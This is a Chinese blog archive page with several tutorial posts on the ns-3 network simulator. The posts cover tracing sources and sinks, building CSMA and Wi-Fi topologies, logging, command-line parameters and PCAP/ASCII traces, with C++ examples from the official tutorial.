课程 on cyp0633's Blog

ns-3 入门 5：追踪

Tue, 20 Feb 2024 10:52:00 +0800

根据官方教程 Tracing 一章写成。原示例代码¹和文中代码均以GPLv2发布。

大家都知道仿真的目的是得到有价值的输出以进行分析，但对特定的分析目的来说，不同的输出方式可能分析效率不同。比如使用日志输出，其粒度仅为源代码文件和日志等级，对于更细的控制则略显不足，且日志输出的稳定性不作保证，可能随着更新而更改；而输出pcap可以记录每个数据包的细节，使用Wireshark筛选也更加直观简易，但不能体现仿真过程中的逻辑控制，如之前提到的Wi-Fi STA节点的移动轨迹。如果遇到并非自己代码中想要输出的内容，情况就更复杂了。比如开发者在教程中举了一个例子：为TCP socket添加一点输出，而这需要更改ns-3本身（在 tcp-socket-base.cc 中）。虽然加输出确实很简单，但1) 更新ns-3版本时很麻烦，2) 仍需进行进一步日志筛选，3) 要重新编译ns-3。

所以，使用ns-3的追踪工具是更好的选择，因为它可以只输出感兴趣的数据源，免去筛选的麻烦，并且直接从ns-3内部获取数据（而不用改ns-3的代码）。

基本上，追踪接收器就是一个回调，是一个函数指针。将追踪源和接收器相连的操作，就是把接收器对应的回调传入对应追踪源的回调列表中。当追踪源执行的时候，它就依次执行每个接收器对应的回调。另外，被追踪的值采用值语义²传递，这使得它触发的时候是什么样，追踪出来就是什么样。

在不使用回调的情况下，若A要通过B的函数进行通信，A就必须依赖B。由于追踪接收器有很多，又不能逐个添加依赖，所以通过依赖的办法缺乏灵活性。

简单的示例代码

开发者给出了 fourth.cc¹ 作为入门代码示例。略过头文件部分，代码首先定义了一个 Object 的子类，添加了一个追踪源数据，并实现了 GetTypeId 方法：

cpp

class MyObject : public Object
{
  public:
    /**
     * Register this type.
     * \return The TypeId.
     */
    static TypeId GetTypeId()
    {
        static TypeId tid = TypeId("MyObject")
                                .SetParent<Object>()
                                .SetGroupName("Tutorial")
                                .AddConstructor<MyObject>()
                                .AddTraceSource("MyInteger",
                                                "An integer value to trace.",
                                                MakeTraceSourceAccessor(&MyObject::m_myInt),
                                                "ns3::TracedValueCallback::Int32");
        return tid;
    }
    MyObject()
    {
    }
    TracedValue<int32_t> m_myInt; //!< The traced value.
};

如果真的按照官方教程去走，一定会晕头转向，因为官方教程的路线根本没提到ns-3的对象模型。

ns-3提供了三个基类，Object、ObjectBase 和 SimpleRefCount。SimpleRefCount 具有ns-3智能指针（Ptr）的引用计数，ObjectBase 具有类型（即 GetTypeId 这一堆）和属性信息以及对象聚合（目前没用到）。Object 具有以上两者的所有特性，如 NetDevice 和 TcpSocketState 全部是它的子类。

TypeId 是 Object 的子类可选包含的一个属性，用于存放该类的元数据，如：

标识这个类的唯一字符串（MyObject），用于进行运行时类型推导

父类（Object），用于进行向上/向下类型转换

可用的构造函数，用于在不知道对象具体类型的情况下创建对象

可公开访问属性（attribute）列表，需要同时提供访问方法和边界检查

除了以上四条之外，可以看到 AddTraceSource 方法，用于添加一个追踪源。它的用法有点像 AddAttribute，不同的是1) 由于是内部编辑，所以不需要像attribute一样做边界检查；2) 有一个回调函数，用于在触发时执行。

m_myint 就是被追踪的数据，而 TracedValue 类型用于除了包装 int32_t 之外，还具备在值变化时触发回调的功能，并要求回调函数有且仅有两个 int32_t 参数，分别是旧值和新值。至于 MakeTraceSourceAccessor，则用于连接追踪源和追踪接收器，反正加上就行了。

对应的，IntTrace 函数中就是 MyInteger 追踪源对应的接收回调，没有返回值，有且仅有两个 int32_t 参数，代码简单易懂：

cpp

void
IntTrace(int32_t oldValue, int32_t newValue)
{
    std::cout << "Traced " << oldValue << " to " << newValue << std::endl;
}

最后在 main 函数中，就是创建对象和连接的过程了。

cpp

int
main(int argc, char* argv[])
{
    Ptr<MyObject> myObject = CreateObject<MyObject>();
    myObject->TraceConnectWithoutContext("MyInteger", MakeCallback(&IntTrace));

    myObject->m_myInt = 1234;

    return 0;
}

对于 Object 的子类，应该使用 CreateObject() 函数创建对象实例，对应的也会返回一个 Ptr。而对于 SimpleRefCount 的子类，则使用 Create()。

此处连接使用的并不是示例代码3（third.cc）中使用的 Config::Connect() 搭配绝对路径识别符，而是直接使用 MyObject 的 TraceConnectWithoutContext() 成员函数，这样在第一个参数中就只需要写该类下追踪源的名字而非完整路径了。MakeCallback 的作用这里不再赘述。

此处与示例代码3中另一个显著的不同是后者使用带context的追踪，TraceConnect() 成员函数中第二个参数为 std::string 类型，用来描述上下文（如对象路径），其会作为第一个参数传入回调，而此处使用的 TraceConnectWithoutContext() 就没有。也就是说，如果使用带context的追踪，那么回调函数应该改为 void IntTrace(std::string context, int32_t oldValue, int32_t newValue)。Config::Connect() 和 Config::ConnectWithoutContext() 则都不需要额外传入上下文信息。

使用 `Config` 子系统

虽然这种 TraceConnect() 很实用，但据开发者声称，一般来说都会使用所谓的配置路径选择追踪源，就像之前在示例代码3中一样。也就是说，以下两个部分的代码是等效的：

cpp

// 使用 Config::Connect
std::ostringstream oss;
oss << "/NodeList/" << wifiStaNodes.Get(nWifi - 1)->GetId()
    << "/$ns3::MobilityModel/CourseChange";
Config::Connect(oss.str(), MakeCallback(&CourseChange););

// 使用 TraceConnect
wifiStaNodes.Get(nWifi - 1)->GetObject<MobilityModel>()
    ->TraceConnect("CourseChange", MakeCallback(&CourseChange));

ns-3 入门 4：构建拓扑

Wed, 14 Feb 2024 16:29:00 +0800

根据官方教程 Building Topologies 一章写成。原示例代码¹²和文中代码均以GPLv2发布。

总线拓扑

第二篇示例代码¹描述了一个简单的例子，默认共有5个节点，$n_0$ 和 $n_1$ 通过点对点链路相连，网段为10.1.1.0/24；$n_1$ 到 $n_{i+1}$ 共 ${i+1}$ 个节点（$i$ 为 nCsma 参数的值，默认为3）通过共享介质的CSMA网络连接（有点类似Ethernet），使用10.1.2.0/24网段。其中 $n_1$ 同时连接了两个网络。之后在 $n_0$ 上设置示例代码1一样的echo client，在 $n_{i+1}$ 上设置对应的echo server。

代码大多跟之前的第一个示例没什么不同，只是有了更多的节点和设备。然而还是有一些需要注意的地方：

一个节点可以同时属于多个 NodeContainer，如 $n_1$，这样就方便在同一个节点上设置多个设备了。
NodeContainer.Create 函数会在当前container的基础上增加指定数量的节点，而非用指定数量初始化。
由于不在同一个网段内，两个网段自然是不互通的，于是需要使用 Ipv4StaticRoutingHelper::PopulateRoutingTables() 让所有节点都能充当路由器的功能，并填充路由表。类似于Linux的 sysctl -w net.ipv4.ip_forward=1。
对于 CsmaChannel 之类可以同时连接多个设备的信道，可以在某一节点上启用混杂（promiscuous）模式（如代码113行），这样就可以监听到所有经过该信道的数据包了。

程序一共录制了三个pcap文件。可以看到，在 second-0-0.pcap 和 second-1-0.pcap 中，只有基于点对点协议的UDP包，但在 second-2-0.pcap 中，不光变成了网段不同、基于Ethernet的UDP包，还出现了ARP包，以进行IP到MAC地址的查找。

为了更高的可自定义度，EnablePcap 不仅可以接受网络设备指针（nd: Ptr<NetDevice>），也可以接受节点 ID（nodeid: uint32_t）和设备ID（deviceid: uint32_t）。换而言之，以下两行代码是等效的：

cpp

1
2

csma.EnablePcap("second",csmaDevices.Get(1),true);
csma.EnablePcap("second",csmaNodes.Get(1)->GetId(),0,true);

Get 中输入的参数为节点在该容器中的索引，而非节点ID。节点ID是全局共享、递增的。

模型、属性和现实

在官方教程的对应章节中，主要是想提醒使用者须清楚认识到建模并不一定能涵盖真实情况的所有方面。比如上一节中 CsmaChannel 相对于真实Ethernet³ 来说并没有碰撞检测特性，而这是很容易被使用者忽略的。

另外作者还提到了不同网络标准中的不同属性。比如Ethernet的常见最大包大小为1518字节，而由于Ethernet II（DIX）标准的封装方式比IEEE 802.2（LLC/SNAP）的协议开销少8个字节⁴，所以前者允许的最大MTU可以高一点。在ns-3的 CsmaNetDevice 中，MTU和封装方式是两个单独的属性，若采用了后者的封装方式而忘了更改默认为1500的MTU，虽然模拟能够正常运行，但可能会偏离实际情况。

这里不是说MTU=1500同时采用LLC/SNAP一定是错的，现代部分网络甚至允许MTU=9000的Jumbo Frame，最终一切还是要看具体情况。

构建无线拓扑

这一段的示例代码²在第二篇代码中增加了一个无线网络，并连接到 $n_0$，Wi-Fi使用802.11a标准（有点远古），网段为10.1.3.0/24。随附示例代码中描述拓扑的字符画：

cpp

// Default Network Topology
//
//   Wifi 10.1.3.0
//                 AP
//  *    *    *    *
//  |    |    |    |    10.1.1.0
// n5   n6   n7   n0 -------------- n1   n2   n3   n4
//                   point-to-point  |    |    |    |
//                                   ================
//                                     LAN 10.1.2.0

在上面总线拓扑的基础上，又添加了 YansWifiChannel，相对来说更复杂一点，但从始至终都是围着链路层和物理层工作。

$n_0$ 作为AP，其他节点作为STA，分到两个 NodeContainer 中。
使用 YansWifiPhyHelper 来设置物理层属性，如频率、速率等。它承担了类似 CsmaHelper 的功能，只不过不能直接包办建立起信道和安装网络设备了。
通过 WifiMacHelper 区分AP和STA，并设置同一个SSID来确保连接同一个网络。
AP和STA的网络设备也有所不同，所以也包含在两个 NetDeviceContainer 中，但可以使用同一个 WifiHelper（用于安装网络设备）。
通过 MobilityHelper 模拟STA节点走来走去，而AP节点则固定在原地。
用同一个 Ipv4AddressHelper 在同一次 Setbase 之后多次 Assign 来保证AP和STA在同一个网段内（相当于使用固定IP，不考虑复杂的DHCP）。

在STA节点的链路层设置中（WifiMacHelper），可以看到设置了 ActiveProbing 属性，这使得STA节点会一直搜寻AP，导致仿真永远不会结束。因此，还需要在开始前手动设置10s结束仿真。

并不需要对Wi-Fi网络启用混杂模式，因为Wi-Fi网络的数据包都是广播的，所以所有节点都能收到。换而言之，混杂模式是自动开启的。

如果加上 --trace 参数，会记录下来4个文件，其中 third-0-1.pcap 对应的是Wi-Fi的流量。使用工具读取，可以看到相比Ethernet，Wi-Fi的通信更加复杂，还有beacon frame之类的控制信息。

记录STA移动轨迹

之前在介绍跟踪时，并未明确跟踪接收器的设计办法，使用的也是helper自带的连接方式。而在这个示例代码中，为了追踪某个STA的移动轨迹并打印到日志中，需要自行设计跟踪接收器（其实就是一个函数），并设置回调。这里的跟踪接收器也只是个函数而已：

cpp

void
CourseChange(std::string context, Ptr<const MobilityModel> model)
{
  Vector position = model->GetPosition();
  NS_LOG_UNCOND(context <<
              " x = " << position.x << ", y = " << position.y);
}

其实功能非常简单，就是当调用这个函数的时候，打印出对应的事件名（context），以及STA节点的位置。为了让节点位置变化时调用这个函数，需要在 Simulator::Run() 之前设置回调：

cpp

std::ostringstream oss;
oss << "/NodeList/" << wifiStaNodes.Get(nWifi - 1)->GetId()
    << "/$ns3::MobilityModel/CourseChange";
auto cb = MakeCallback(&CourseChange);
Config::Connect(oss.str(), cb);

Config::Connect() 的第一个参数就是事件名，也就是跟踪源的路径，这里仅指定了一个STA。第二个参数就是一个回调对象。

MakeCallback 的作用是将函数指针包装成一个 Callback 对象。Callback 类是一个模板类，有一个强制参数（对应返回值，void也算一个）和至多五个可选参数（对应参数列表）。MakeCallback 会根据函数指针的类型自动推断参数列表。这样，就可以直接使用类似 ret = cb(arg1, arg2, ...) 的方法来调用回调了。如果需要设置对象的成员函数回调，或者希望预先设定某几个参数，可以参考手册的对应部分。

这样，当STA位置变化时，就会在日志中打印当前位置，如：

plaintext

/NodeList/7/$ns3::MobilityModel/CourseChange x = 10, y = 0
/NodeList/7/$ns3::MobilityModel/CourseChange x = 9.36083, y = -0.769065
/NodeList/7/$ns3::MobilityModel/CourseChange x = 9.62346, y = 0.195831
/NodeList/7/$ns3::MobilityModel/CourseChange x = 9.42533, y = 1.17601
/NodeList/7/$ns3::MobilityModel/CourseChange x = 8.4854, y = 0.834616
/NodeList/7/$ns3::MobilityModel/CourseChange x = 7.79244, y = 1.55559
/NodeList/7/$ns3::MobilityModel/CourseChange x = 7.85546, y = 2.55361

ns-3中的队列

和很多人理解的不同，数据包并不是排一个队就能直接发出去了，而在实际情况中，有多层队列，排完这个再排下一个，用来处理不同的事情。在ns-3中虽然并没有实际操作系统中那么复杂，但也“将IP层或流量控制层与设备层分开”，前者，即所谓的流量控制层，处理QoS和AQM；而后者在 NetDevice 中，处理设备层的队列，与连接类型有关（Ethernet，Wi-Fi等）。如果设备层的队列并没有被填满，那么流量控制层队列基本等效于透明，毕竟这时并没有控制流量的必要。

官方教程中有 [不同队列类型详解]。在分配IP地址时，流量控制层默认启用 pfifo_fast 队列（容量为1000个包）并可以自行指定，而设备层队列由设备自身决定，不同的网络设备有不同的队列类型。

若要自行指定流量控制层的队列，有两种办法。如果还未安装网络设备，可以借助网络设备的helper实现：

cpp

1
2
3

PointToPointHelper p2p;
p2p.SetQueue("ns3::DropTailQueue", "MaxSize", StringValue("50p"));
NetDeviceContainer devices = p2p.Install(nodes);

如果已经安装了网络设备，可以使用 TrafficControlHelper 来设置根队列：

cpp

1
2
3

TrafficControlHelper tch;
tch.SetRootQueueDisc("ns3::CoDelQueueDisc", "MaxSize", StringValue("1000p"));
tch.Install(devices);

https://gitlab.com/nsnam/ns-3-dev/-/blob/2209a5abd18be77c6c865c837368b4e459ae7c8e/examples/tutorial/second.cc ↩︎ ↩︎
https://gitlab.com/nsnam/ns-3-dev/-/blob/5649b4801cc3e06b8d0edc9ea1b18510594dfd35/examples/tutorial/third.cc ↩︎ ↩︎
早期的共享介质Ethernet标准使用CSMA/CD，而非CSMA。 ↩︎
https://en.wikipedia.org/wiki/Ethernet_frame#Types ↩︎

ns-3 入门 3：日志、命令参数和跟踪

Sat, 03 Feb 2024 12:18:00 +0800

根据官方教程 Tweaking 一章写成。

日志

ns-3自带一个日志系统。用日志系统记录输出和错误等是常见的做法，但由于追踪系统的存在（可以使用tcpdump或者Wireshark看），日志系统还是用来记录错误和调试信息为主。

前面讲到ns-3的日志系统粒度为模块，可以对某个模块启用、禁用、设置级别等。

日志级别

日志系统有以下几个级别：

LOG_ERROR：错误
LOG_WARN：警告
LOG_DEBUG：临时的调试信息
LOG_INFO：程序运行进度等信息
LOG_FUNCTION：函数调用信息
LOG_LOGIC：函数内部的逻辑执行
LOG_ALL：包含以上所有

LOG_FUNCTION 等级会在每个函数执行时打印信息，比如下面这样。

log

UdpEchoClientApplication:UdpEchoClient(0xef90d0)
UdpEchoClientApplication:SetDataSize(0xef90d0, 1024)
UdpEchoClientApplication:StartApplication(0xef90d0)
UdpEchoClientApplication:ScheduleTransmit(0xef90d0, +0ns)
UdpEchoClientApplication:Send(0xef90d0)

需要注意以上每种日志级别仅包含其本身。若要包含上级日志，则可使用对应的 LOG_LEVEL。如 LOG_LEVEL_DEBUG 是 LOG_ERROR、LOG_WARN、LOG_DEBUG 三者的并集，皆会打印。

另外还有一种 LOG_UNCOND 级别，会打印任何日志条目，无视等级。

设置级别

有两种办法对模块日志级别进行设置：环境变量和代码。环境变量设置不需要重新编译，所以比较方便。官方教程提到可以用环境变量“提高日志记录级别”，实际测试发现最终输出的日志范围是对两者取并集（包括下文的日志前缀部分）。

如果使用代码，需要使用 LogComponentEnable 函数，若要设置多个模块的日志级别，多次调用该函数即可。比如将 UdpEchoClientApplication 的日志级别设为 INFO：

cpp

`1`	`LogComponentEnable("UdpEchoClientApplication", LOG_LEVEL_INFO);`

如果只想要启用某个模块的自定义等级日志，可以使用并运算：

cpp

`1`	`LogComponentEnable("UdpEchoClientApplication", LogLevel(LOG_INFO \| LOG_FUNCTION));`

而控制日志级别的环境变量是 NS_LOG，虽然只有一个变量，但使用和PATH类似的表示方法，也可以控制多个模块的级别，其值的格式为 Component1=level_1:Component2=level_2。比如：

bash

`1`	`export NS_LOG="UdpEchoClientApplication=level_all:UdpEchoServerApplication=level_all"`

环境变量表示的并运算会更加直观些：

bash

`1`	`export NS_LOG="UdpEchoClientApplication=level_info\|level_function"`

如果需要设置所有模块的日志级别，可以将 * 作为 Component 的值。需注意该选项会导致大量输出。

日志前缀

回想第一个示例代码的输出，前面的日志输出的几乎都只有内容。比如之前那个示例程序，在启用所有日志等级时，输出是这样的：

log

UdpEchoServerApplication:UdpEchoServer(0x55fd771b1b10)
UdpEchoClientApplication:UdpEchoClient(0x55fd771d9570)
UdpEchoClientApplication:SetDataSize(0x55fd771d9570, 1024)
UdpEchoServerApplication:StartApplication(0x55fd771b1b10)
UdpEchoClientApplication:StartApplication(0x55fd771d9570)
UdpEchoClientApplication:ScheduleTransmit(0x55fd771d9570, +0ns)
UdpEchoClientApplication:Send(0x55fd771d9570)
At time +2s client sent 1024 bytes to 10.1.1.2 port 9
UdpEchoServerApplication:HandleRead(0x55fd771b1b10, 0x55fd771e5e70)
At time +2.00369s server received 1024 bytes from 10.1.1.1 port 49153
Echoing packet
......

日志前缀内容可以和日志输出等级一起设定，目前有如下几个选项¹：

PREFIX_FUNC：函数名（格式为 ComponentName:FunctionName）
PREFIX_TIME：仿真已进行的时长
PREFIX_NODE：节点编号（就是之前关键抽象中的那个节点）
PREFIX_LEVEL：日志等级

也可以用 PREFIX_ALL 一次性打开所有前缀。以使用代码的方式为例，可以这样设置：

cpp

    LogComponentEnable("UdpEchoClientApplication",
                       LogLevel(ns3::LOG_LEVEL_ALL | ns3::LOG_PREFIX_ALL));
    LogComponentEnable("UdpEchoServerApplication",
                       LogLevel(ns3::LOG_LEVEL_ALL | ns3::LOG_PREFIX_ALL));

输出便成了这样：

log

+0.000000000s -1 UdpEchoServerApplication:UdpEchoServer(0x55b8911fcb10)
+0.000000000s -1 UdpEchoClientApplication:UdpEchoClient(0x55b891224570)
+0.000000000s -1 UdpEchoClientApplication:SetDataSize(0x55b891224570, 1024)
+1.000000000s 1 UdpEchoServerApplication:StartApplication(0x55b8911fcb10)
+2.000000000s 0 UdpEchoClientApplication:StartApplication(0x55b891224570)
+2.000000000s 0 UdpEchoClientApplication:ScheduleTransmit(0x55b891224570, +0ns)
+2.000000000s 0 UdpEchoClientApplication:Send(0x55b891224570)
+2.000000000s 0 UdpEchoClientApplication:Send(): [INFO ] At time +2s client sent 1024 bytes to 10.1.1.2 port 9
+2.003686400s 1 UdpEchoServerApplication:HandleRead(0x55b8911fcb10, 0x55b891230e70)
+2.003686400s 1 UdpEchoServerApplication:HandleRead(): [INFO ] At time +2.00369s server received 1024 bytes from 10.1.1.1 port 49153
+2.003686400s 1 UdpEchoServerApplication:HandleRead(): [LOGIC] Echoing packet
......

记录日志

要将某个源文件划入某个模块，可以使用这个宏：

cpp

`1`	`NS_LOG_COMPONENT_DEFINE("ComponentName");`

对于 LOG_FUNCTION 级别的日志，可以使用 NS_LOG_FUNCTION(this)（静态函数使用 NS_LOG_FUNCTION_NOARGS()），它会在函数开始时打印函数名和参数，函数结束时打印函数名和返回值。而对于其他级别的日志，可以使用 NS_LOG_<LEVEL>，如：

cpp

1
2

NS_LOG_INFO("This is an info message");
NS_LOG_DEBUG("This is a debug message");

命令参数

ns-3也有一个自带的命令行参数解析器，从而避免手动解析或使用第三方库的麻烦。在 main 函数传入了 argc 和 argv 的情况下，可以使用 CommandLine 类来解析命令行参数：

cpp

1
2

CommandLine cmd;
cmd.Parse(argc, argv);

要使用 ns3 工具运行时加入命令行参数，可以用下面两种等效的方式：

bash

1
2

./ns3 run examples/tutorial/first.cc -- --PrintHelp
./ns3 run "examples/tutorial/first.cc --PrintHelp"

当然直接加参数也问题不大，会提示更正的。

自带参数

这个参数解析器自带了一些参数，可以通过 --PrintHelp 查看（竟然不是 --help，奇怪）。比如 --PrintAttributes=<TypeId> 可以查看某一类型附带的参数，以及各自的默认值。比如在第一个示例代码中，PointToPointChannel 的默认参数为：

bash

$ ./ns3 run examples/tutorial/first.cc -- --PrintAttributes=ns3::PointToPointChannel
Attributes for TypeId ns3::PointToPointChannel
    --ns3::PointToPointChannel::Delay=[+0ns]
        Propagation delay through the channel
Attributes defined in parent class ns3::Channel
    --ns3::Channel::Id=[0]
        The id (unique integer) of this Channel.

这个和我们在文档中看到的是一致的，默认增加0ns的延迟，但在代码中增加了2ms，覆盖了默认值。但--PrintHelp 并没有提到的是，也可以用命令行参数改变这些默认值。比如，在删除代码中设置链路延迟的部分之后，可以使用以下参数将其值改为100ms：

bash

`1`	`./ns3 run examples/tutorial/first.cc -- --ns3::PointToPointChannel::Delay=100ms`

上面“改变默认值”可以理解为：对于一个属性值，设定的优先级为代码设定值>命令行参数设定值>默认值。更高的优先级会完全覆盖低优先级的值。

自定义参数

当然也可以引入自定义的参数，通过 cmd.AddValue 添加。比如在第一个示例代码中，添加一个 --nPackets 参数，用于设置发送的数据包数量：

cpp

1
2

uint32_t nPackets = 1;
cmd.AddValue("nPackets", "Number of packets to send", nPackets);

然后在后面设置 MaxPackets attribute时传入 nPackets 即可。这样也可以避开命令行参数优先级的问题。

跟踪

模拟的全部目的是生成输出以供进一步研究，而ns-3跟踪系统是实现这一目标的主要机制。

—— ns-3文档

ns-3的跟踪功能，我划分为三个部分：

跟踪源 (trace source)：在仿真的某些阶段触发，并发送某些内部数据（如数据包内容）
跟踪接收器 (trace sink)：接收跟踪源发出的数据
前两者之间的连接

将跟踪源和跟踪接收器分开，可以在不改变跟踪源的情况下，更改接收方式（如新增一个接收器）。在这篇开发者给出的教程中，将会使用一些自带的跟踪源和接收器；后面开发者还写了一篇更加详细的教程，以介绍更加复杂的跟踪用法。

ASCII跟踪

ns-3自带一个ASCII跟踪的helper以帮助设置，在前面第一个示例代码中，可以像这样修改：

cpp

1
2
3

AsciiTraceHelper ascii;
pointToPoint.EnableAsciiAll(ascii.CreateFileStream("myfirst.tr"));
Simulator::Run();

然后重新运行一遍，你就会在shell的工作目录中看到一个 myfirst.tr 文件。里面有6行一长串数据，我们拿出第一行，进行一下换行拆分：

plaintext

+ 
2 
/NodeList/0/DeviceList/0/$ns3::PointToPointNetDevice/TxQueue/Enqueue 
ns3::PppHeader (Point-to-Point Protocol: IP (0x0021)) 
ns3::Ipv4Header (tos 0x0 DSCP Default ECN Not-ECT ttl 64 id 0 protocol 17 offset (bytes) 0 flags [none] length: 1052 10.1.1.1 > 10.1.1.2) 
ns3::UdpHeader (length: 1032 49153 > 9) 
Payload (size=1024)

第一行的 + 代表入队操作。每条跟踪数据的第一个字符会有四种可能：

+：设备队列上入队
-：设备队列上出队
d：丢包（dropped），可能是因为队列满了
r：从外部接收

第二行的 2 代表模拟进行时刻。第三行描述了该行为的发起者，即节点0上的设备0发送队列进行入队，也就是节点0准备发送数据了。后面的几行可以参照Internet的分层模型，分别是链路层的PPP头、网络层的IPv4头、传输层的UDP头和应用层的数据。

PCAP跟踪

PCAP相对上面的ASCII来说就友好多了，毕竟我们可以用Wireshark打开。类似于ASCII跟踪，PCAP跟踪可以这样应用于第一个示例代码：

cpp

1
2

pointToPoint.EnablePcapAll("myfirst");
Simulator::Run();

这次会在shell的工作目录下，对每个节点和网络设备生成一个 pcap 文件。tcpdump的用法这里就不介绍了，Wireshark则可以直接打开，就像用它抓的包一样。

https://www.nsnam.org/docs/doxygen/d7/d2e/namespacens3.html#aa6464a4d69551a9cc968e17a65f39bdb ↩︎

ns-3 入门 2：概念与第一个示例

Sat, 27 Jan 2024 22:57:00 +0800

本文根据官方教程 Conceptual Overview 一章写成。在这章中，教程通过一个代码示例，演示了ns-3的几大基本概念及其基本使用方法。但是个人觉得顺序比较难懂，所以对其进行了一定程度的重新组织。

下文中代码经过一点点修改，原代码见¹，代码均以GPLv2发布。

概念

节点 Node

计算机网络可以抽象为一个图，而一个节点就是其中的一个网络设备。该抽象不考虑网络设备的内部结构与功能，所以路由器（3层）、交换机（2层）、计算机均抽象为节点。因此，节点本身没有任何功能，也不能直接连接任何信道，仅代表一个能收发数据的事物，功能需要作为应用实现，信道通过设备连接。

节点使用 ns3::Node 类表示，并由 ns3::NodeContainer 类管理。要创建指定数量的节点，可以用 Create 实例方法。以下代码创建了两个节点，并将其存储在 nodes 中：

cpp

1
2

NodeContainer nodes;
nodes.Create(2);

要使用下标访问 NodeContainer 中的节点，可以用 Get 实例方法。以下代码访问了第一个节点（下标从0开始）：

cpp

`1`	`Ptr<Node> node = nodes.Get(0);`

上述代码中的 Ptr<T> 是ns-3提供的智能指针，能够自动解引用，效果类似于 std::shared_ptr<T>。类型 T 必须支持 Ref() 和 Unref() 方法。关于ns-3的内存管理机制，请看这一段。

为了使光秃秃的节点具备一些基本的网络通信功能（实际上属于应用），可以使用 ns3::InternetStackHelper 安装网络栈（包含TCP、UDP、IP等）。一个helper可以一次安装一整个 NodeContainer，如以下代码将 nodes 中的所有节点安装网络栈：

cpp

1
2

InternetStackHelper stack;
stack.Install(nodes);

由于并没有变量上的依赖关系，缺少网络栈并不会造成编译失败，但以示例代码为例，缺少网络栈会导致运行时创建更上层的应用失败，从而直接抛出SIGABRT。

网络设备 Net Device

正如电脑要上网就得插网卡（NIC）一样，节点要连接在一起，网络设备是不可或缺的。ns-3中的网络设备抽象包含了网卡的硬件功能和驱动程序功能，每个节点可以连接多个网络设备，用于连接多个不同的信道。

网络设备使用 ns3::NetDevice 类表示，并使用 ns3::NetDeviceContainer 进行管理。同样正如网卡分为有线和无线网卡一样，实际使用时多选择其子类，如以太网使用的 ns3::CsmaNetDevice 类，以及Wi-Fi使用的 ns3::WifiNetDevice 类。在该篇示例代码中，由helper总揽网络设备和信道的创建，此处按下不表。

给网络设备分配IPv4地址后，可以将其看作一个接口。使用 ns3::Ipv4AddressHelper 类，可以为一个网络设备分配一个IPv4地址。以下代码设置了IP地址分配范围和掩码，并将其按顺序分配给一个 NetDeviceContainer 中的设备，返回的是一个接口容器 ns3::Ipv4InterfaceContainer：

cpp

1
2
3

Ipv4AddressHelper address;
address.SetBase("10.1.1.0", "255.255.255.0");
Ipv4InterfaceContainer interfaces = address.Assign(devices);

此处使用了多个隐式转换，从 const char* 即字符串描述的地址到 Ipv4Address 和 Ipv4Mask。如果不希望从10.1.1.1开始分配，可以使用第三个参数 base，如 “0.0.0.3” 表示从10.1.1.3开始分配²。

信道 Channel

信道代表节点之间的连接，比如RJ45双绞线，比如Wi-Fi，都可以抽象为信道。

信道使用 ns3::Channel 类表示，并由 ns3::ChannelContainer 类管理。同样，信道也有多种类型，如以太网使用的 ns3::CsmaChannel 类，Wi-Fi使用的 ns3::WifiChannel 类。但是在本篇示例代码中，并没有明确地使用 Channel，而是借助了网络设备和信道的紧密联系，由helper类统一创建。比如在下面的代码中，新建了一个点对点信道，设置两端网络设备传输速率为5 Mbps，信道延迟2 ms，并将其安装到一个 NodeContainer 中，最终返回创建完成的网络设备 NetDeviceContainer：

cpp

PointToPointHelper pointToPoint;
pointToPoint.SetDeviceAttribute("DataRate", StringValue("5Mbps"));
pointToPoint.SetChannelAttribute("Delay", StringValue("2ms"));
auto devices = pointToPoint.Install(nodes);

属性（attribute）相比于普通的成员变量，具有更多的控制，如可以设置默认值（包括编译期和运行期）、边界检查等。关于更多属性信息，请看这一段。

点对点信道限制输入的 NodeContainer 必须有且仅有两个节点，否则运行时会抛出异常。

这里设置的网络设备属性和信道属性，应该参考具体的网络设备³和信道类⁴的文档。

信道的延迟，就是propagation delay。

应用 Application

节点的实际功能均由应用实现。这是一个庞大的概念，不仅仅包含应用层的内容，也同时包含了传输层、网络层等内容。它描述了某个节点的行为。

应用使用 ns3::Application 类表示，并由 ApplicationContainer 类管理。该container的具体创建由具体的应用程序实现。使用 Start 和 Stop 实例方法，可以控制应用的开始结束时间，仿真程序在所有应用运行结束之前不会主动停止：

cpp

1
2
3

ApplicationContainer serverApps = xxx;
serverApps.Start(Seconds(1.0));
serverApps.Stop(Seconds(10.0));

在示例代码中，具体使用了 ns3::UdpEchoClientApplication 和 ns3::UdpEchoServerApplication 类，作用应该不言而喻。UdpEchoServerApplication 使用 ns3::UdpEchoServerHelper 类创建，如以下代码在第二个节点上安装，设置端口为9，并在1-10s运行：

cpp

UdpEchoServerHelper echoServer(9);
ApplicationContainer serverApps = echoServer.Install(nodes.Get(1));
serverApps.Start(Seconds(1.0));
serverApps.Stop(Seconds(10.0));

这里包含一个隐式转换。nodes.Get(1) 返回的是 Ptr<Node>，而 Install 方法接受的是 NodeContainer，但是 Ptr<Node> 可以隐式转换为 NodeContainer。

负责主动发送数据的 UdpEchoClientApplication 与上文的helper类似，但有更多的参数可供自定义。如以下代码，将第二个节点的端口9作为目标，设置发送间隔为1s、包大小为1024B、发送总数为1⁵，安装到第一个节点上，并在2-10s运行：

cpp

UdpEchoClientHelper echoClient(interfaces.GetAddress(1), 9);
echoClient.SetAttribute("MaxPackets", UintegerValue(1));
echoClient.SetAttribute("Interval", TimeValue(Seconds(1.0)));
echoClient.SetAttribute("PacketSize", UintegerValue(1024));
ApplicationContainer clientApps = echoClient.Install(nodes.Get(0));
clientApps.Start(Seconds(2.0));
clientApps.Stop(Seconds(10.0));

代码示例

使用ns-3编写的仿真器程序是声明式而非命令式的，这有点类似于前端工程中兴起的类似概念。

头文件

ns-3提供了一些大粒度的头文件，可以一定程度上免去繁琐的找头文件过程。下面头文件的内容，基本就是示例代码中用到的模块。

cpp

#include "ns3/core-module.h"
#include "ns3/network-module.h"
#include "ns3/internet-module.h"
#include "ns3/point-to-point-module.h"
#include "ns3/applications-module.h"

日志

ns-3的日志是可以按照模块自定义的，当然这也需要自行为代码划分模块。如示例代码中的这一行macro就是将当前源文件划分到 FirstScriptExample 模块：

cpp

`1`	`ns3::NS_LOG_COMPONENT_DEFINE("FirstScriptExample");`

如果需要控制日志的详细程度，可以使用（如将 UdpEchoClientApplication 的日志级别设为 INFO）

cpp

`1`	`ns3::LogComponentEnable("UdpEchoClientApplication", LOG_LEVEL_INFO);`

命名空间

正如上文提到的，本代码示例中使用的类几乎均在 ns3 命名空间下。

模拟器

当上文模拟器所需执行的行为全部描述完毕后，就需要调用模拟器进行模拟了。这个示例代码的模拟是有穷尽的，所以可以等待模拟自行结束，然后直接销毁：

cpp

1
2

Simulator::Run();
Simulator::Destroy();

